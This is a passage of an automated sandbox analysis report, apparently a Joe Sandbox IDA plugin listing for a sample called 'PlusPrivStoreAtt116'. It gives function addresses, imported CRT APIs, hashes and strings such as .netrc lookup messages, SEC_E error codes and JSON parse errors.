free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF6029C1F05), ref: 00007FF6029C1A85

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 95def14f1c7f15620b6fe9dc28262b73bc3905a93dfb7c3e10dc90a189a3b1e2
Instruction ID: d1fcdf976ab7c74666026d884fb07c36592769ffcd79c71ce738f6465e9e465a
Opcode Fuzzy Hash: 95def14f1c7f15620b6fe9dc28262b73bc3905a93dfb7c3e10dc90a189a3b1e2
Instruction Fuzzy Hash: 5851DD75A09A8281EB14DF22D4A02FD27A4FF84F88F684435DE5E8B656CF78D445C360

Function 00007FF6029BD240 Relevance: 16.6, APIs: 11, Instructions: 119stringCOMMON

Download Yara Rule

APIs

_stat64.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF6029BD287
_access.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF6029BD297
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BD2AE
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BD32A
strrchr.VCRUNTIME140 ref: 00007FF6029BD347
strrchr.VCRUNTIME140 ref: 00007FF6029BD357
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BD387
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BD393
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BD3A2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029BD3B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BD3C9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _strdup$free$strrchr$_access_stat64
String ID:
API String ID: 2557200964-0
Opcode ID: 84dbd7d387848211ce90fc92c2da0d7d496f12dbdcdf86f95287380649613b1b
Instruction ID: c3160b126b74021bcc51baf98d0c9e1a7f86ee2741e84cd13935be3bda4aa763
Opcode Fuzzy Hash: 84dbd7d387848211ce90fc92c2da0d7d496f12dbdcdf86f95287380649613b1b
Instruction Fuzzy Hash: 5141A221B09B4686FB51EB12A5903792BE4FF48B98F640034DE5D87B92EFBCE455C310

Function 00007FF6029C2570 Relevance: 16.4, APIs: 13, Instructions: 164stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF6029C25A8
strchr.VCRUNTIME140 ref: 00007FF6029C25CF
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C2684
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C26AA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C26CB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C26DC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C26E5
memcpy.VCRUNTIME140 ref: 00007FF6029C2703
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C2717
memcpy.VCRUNTIME140 ref: 00007FF6029C2734
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C2749
memcpy.VCRUNTIME140 ref: 00007FF6029C2761
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C2776

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$mallocmemcpy$strchr
String ID:
API String ID: 1615377186-0
Opcode ID: bd7767ed242e23caaf6037ae44a9cf72ff2c28187d5f66eb61473461553de434
Instruction ID: 6a5689fc7d89d977b08e33603d3663cca16007cf16c2cc3914c3cfc5201b04e5
Opcode Fuzzy Hash: bd7767ed242e23caaf6037ae44a9cf72ff2c28187d5f66eb61473461553de434
Instruction Fuzzy Hash: 0B519125B09B8281EB65EF16A61437A6A91BF44FC8F384831DE8D87745DFBCE845C310

Function 00007FF6029C4490 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C44D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C44E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C450C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C4519
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4542
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C454F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4580
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C458D

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 00007FF6029C4619

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 2653869212-3983049644
Opcode ID: ec7257cd3be6c82d29b538beb3472177542acba6a0cd96cc2d8ebd84b6f6d315
Instruction ID: 5b8a18d39fe82891630152c6f90aba9fa787b934493da7fbc2c153d46f496da4
Opcode Fuzzy Hash: ec7257cd3be6c82d29b538beb3472177542acba6a0cd96cc2d8ebd84b6f6d315
Instruction Fuzzy Hash: 6271BF22B08B8286FB65DB26D5643AA6BA0FF84B48F341431DB5D87396DFBDE454C700

Function 00007FF6029C444D Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C44D4
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C44E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C450C
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C4519
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4542
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C454F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029C4580
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029C458D

Strings

Couldn't find host %s in the .netrc file; using defaults, xrefs: 00007FF6029C4619

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup
String ID: Couldn't find host %s in the .netrc file; using defaults
API String ID: 2653869212-3983049644
Opcode ID: 3b630d0dd12ce498ebf1f535dbbab8bc5a09ce093ad7ef4cbfe157d581e54d98
Instruction ID: c54bef108b0d80f27bfa6b34faee943af0b6132cd1f62e47f6c056f7a2d7a116
Opcode Fuzzy Hash: 3b630d0dd12ce498ebf1f535dbbab8bc5a09ce093ad7ef4cbfe157d581e54d98
Instruction Fuzzy Hash: AD51A062A08B8286EB65DB26E56436E3BA0FF84B98F251431CB5D87356DFBDE450C700

Function 00007FF6029B276A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
SEC_E_BUFFER_TOO_SMALL, xrefs: 00007FF6029B276A
%s - %s, xrefs: 00007FF6029B2BA9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BUFFER_TOO_SMALL
API String ID: 600764987-1965992168
Opcode ID: adb4d3cc1ad15402be98744665676a234ebf3bef7a905d6a1a81ce6623857e9d
Instruction ID: 18c9e0ccce5123f6399b1b862df60088848907ec65c0abb4b005329e1a7f0814
Opcode Fuzzy Hash: adb4d3cc1ad15402be98744665676a234ebf3bef7a905d6a1a81ce6623857e9d
Instruction Fuzzy Hash: B2317022A0D7C285EB629F21E5543BE7BA0FF85748F50053ADE8D82A96DF7CD544CB10

Function 00007FF6029B2752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
SEC_E_BAD_BINDINGS, xrefs: 00007FF6029B2752
%s - %s, xrefs: 00007FF6029B2BA9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_BAD_BINDINGS
API String ID: 600764987-2710416593
Opcode ID: ad520cff00791436f665a9c7ebc751bfe0d4d410ed940af3941ef55134a63b2e
Instruction ID: bcfe4b187725de37be164405fe95d99c518dfeba6cd27c90aacf7041031a1121
Opcode Fuzzy Hash: ad520cff00791436f665a9c7ebc751bfe0d4d410ed940af3941ef55134a63b2e
Instruction Fuzzy Hash: A0317022A0D7C185EB629F21E5543BA7BA0FF85748F50053ADE8D82A96DF7CD544CB10

Function 00007FF6029B279A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
SEC_E_CERT_UNKNOWN, xrefs: 00007FF6029B279A
%s - %s, xrefs: 00007FF6029B2BA9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CERT_UNKNOWN
API String ID: 600764987-1381340633
Opcode ID: 942faa6bf7be1711fa1d0b7566088d42f301b9f5789a6e1556235a281404a159
Instruction ID: 7a1092c44b7a5733a06a52b07850537de76d2a63bd1be9bf75f81b36944cb1db
Opcode Fuzzy Hash: 942faa6bf7be1711fa1d0b7566088d42f301b9f5789a6e1556235a281404a159
Instruction Fuzzy Hash: 06317022A0D7C185EB629F21E5543BA7BA0FF89748F50053ADE8D82A96DF7CD544CB10

Function 00007FF6029B2782 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

SEC_E_CANNOT_PACK, xrefs: 00007FF6029B2782
%s (0x%08X), xrefs: 00007FF6029B26A5
%s - %s, xrefs: 00007FF6029B2BA9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CANNOT_PACK
API String ID: 600764987-1502336670
Opcode ID: 1995ff10ed04dce21260e3a967019fbcd735387925a1af334264184213179178
Instruction ID: 363bbabab523efddc08db2b5b90b38852bb86dfc7480d0d64af5387137d4f24d
Opcode Fuzzy Hash: 1995ff10ed04dce21260e3a967019fbcd735387925a1af334264184213179178
Instruction Fuzzy Hash: 0C317022A0D7C185EB629F21E5543BA7BA0FF89748F50053ADE8D82A96DF7CD544CB10

Function 00007FF6029B2776 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
SEC_E_CANNOT_INSTALL, xrefs: 00007FF6029B2776
%s - %s, xrefs: 00007FF6029B2BA9

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CANNOT_INSTALL
API String ID: 600764987-2628789574
Opcode ID: 089ccadd014c3ee78b622b01899f77aba2584c1a400cd428feca2a335efb15ad
Instruction ID: 6a524c7bbb45919c33f1b5e592e71096e6b141a7cd4a9d781775bfbea25a62f3
Opcode Fuzzy Hash: 089ccadd014c3ee78b622b01899f77aba2584c1a400cd428feca2a335efb15ad
Instruction Fuzzy Hash: 10317022A0D7C185EB629F21E5543BA7BA0FF89748F50053ADE8D82A96DF7CD544CB10

Function 00007FF6029B278E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
%s - %s, xrefs: 00007FF6029B2BA9
SEC_E_CERT_EXPIRED, xrefs: 00007FF6029B278E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CERT_EXPIRED
API String ID: 600764987-3862749013
Opcode ID: 56e2ddeb5580827647768440bcc176f8b6946ce4dee5d87353e15cb9a0a16672
Instruction ID: 77669eebe88d7326546f921230b3f9505f18224874cccecab3d68276e4ba3a02
Opcode Fuzzy Hash: 56e2ddeb5580827647768440bcc176f8b6946ce4dee5d87353e15cb9a0a16672
Instruction Fuzzy Hash: AB319022A0D7C185EB629F21E5543BA7BA0FF89748F50043ADE8D82A96DF7CD544CB10

Function 00007FF6029B269E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 69stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF6029B26F9
strchr.VCRUNTIME140 ref: 00007FF6029B2720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029B2BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2BD5
GetLastError.KERNEL32 ref: 00007FF6029B2BDE
SetLastError.KERNEL32 ref: 00007FF6029B2BEA

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
%s - %s, xrefs: 00007FF6029B2BA9
SEC_E_ALGORITHM_MISMATCH, xrefs: 00007FF6029B269E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_ALGORITHM_MISMATCH
API String ID: 600764987-618797061
Opcode ID: f5330ccc4088d604f1c4fdc059b1ac81f642d8961113e143d29ca4ea7cab1393
Instruction ID: f05351bd289765f83848066cd901056d4519c7c4b070b4d2ae0296292d30b375
Opcode Fuzzy Hash: f5330ccc4088d604f1c4fdc059b1ac81f642d8961113e143d29ca4ea7cab1393
Instruction Fuzzy Hash: 0A318F22A0DBC285EB629F31E5543AA7BA0FF85748F50053ADE8D82A96DF7CD544C710

Function 00007FF6029BB280 Relevance: 15.1, APIs: 10, Instructions: 67COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,00007FF6029BACFE,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6029C19C9), ref: 00007FF6029BB2A3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB2F9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB303
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB30D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB317
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB321
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB32B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB335
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB33F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029BB348

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_time64
String ID:
API String ID: 3087401894-0
Opcode ID: 794ec81e754e4059ed5435738d62d671d13dfc205665a64c9ad2aac622e1363a
Instruction ID: 0969e21382c4509adbf805240116876286342b2dea0e035dc7209f61e1db2912
Opcode Fuzzy Hash: 794ec81e754e4059ed5435738d62d671d13dfc205665a64c9ad2aac622e1363a
Instruction Fuzzy Hash: 17212F36A09A4281EB25DF22E96422E6B70FF58F98F284431DE9E83755DFBCD485C340

Function 00007FF6029A7409 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

invalid number; expected '+', '-', or digit after exponent, xrefs: 00007FF6029A7957
invalid number; expected digit after '.', xrefs: 00007FF6029A77A7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: invalid number; expected '+', '-', or digit after exponent$invalid number; expected digit after '.'
API String ID: 0-808606891
